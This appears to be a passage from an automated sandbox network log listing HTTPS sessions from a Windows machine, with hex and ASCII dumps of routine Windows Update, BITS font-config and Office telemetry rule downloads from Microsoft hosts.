2024-11-12 09:37:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49773	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 09:37:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=198501 Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 09:37:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PZuOKh1mLU32zkU&MD=bagdl2gm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 09:37:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e91d3f5e-172d-4c05-a5c7-d4ba6bd9c967 MS-RequestId: 2f8730ef-1c6a-4809-83dd-0dd1bde78008 MS-CV: fO/7t8Or8kqaoa/P.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 09:37:17 GMT Connection: close Content-Length: 24490
2024-11-12 09:37:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 09:37:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-17df447cdb57srlrhC1DFWwgas0000000c400000000069he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-16547b76f7fcjqqhhC1DFWrrrc0000000fe00000000066sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 5703d523-f01e-005d-32a0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-15869dbbcc6bmgjfhC1DFWzfzs00000006zg000000002b1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-16547b76f7f7jnp2hC1DFWfc300000000ffg000000007wnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8b3eb2d7-c01e-0034-7fa1-342af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-17df447cdb5rnd49hC1DFWgmpw000000066g000000000cwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-16547b76f7fkj7j4hC1DFW0a9g0000000f9g00000000ft30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093718Z-16547b76f7fkcrm9hC1DFWxdag0000000fn0000000002nsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-16547b76f7fcrtpchC1DFW52e80000000ffg0000000085xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ea37d4f0-601e-0001-2ea5-34faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-17df447cdb5jg4kthC1DFWux4n0000000bt0000000005xwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
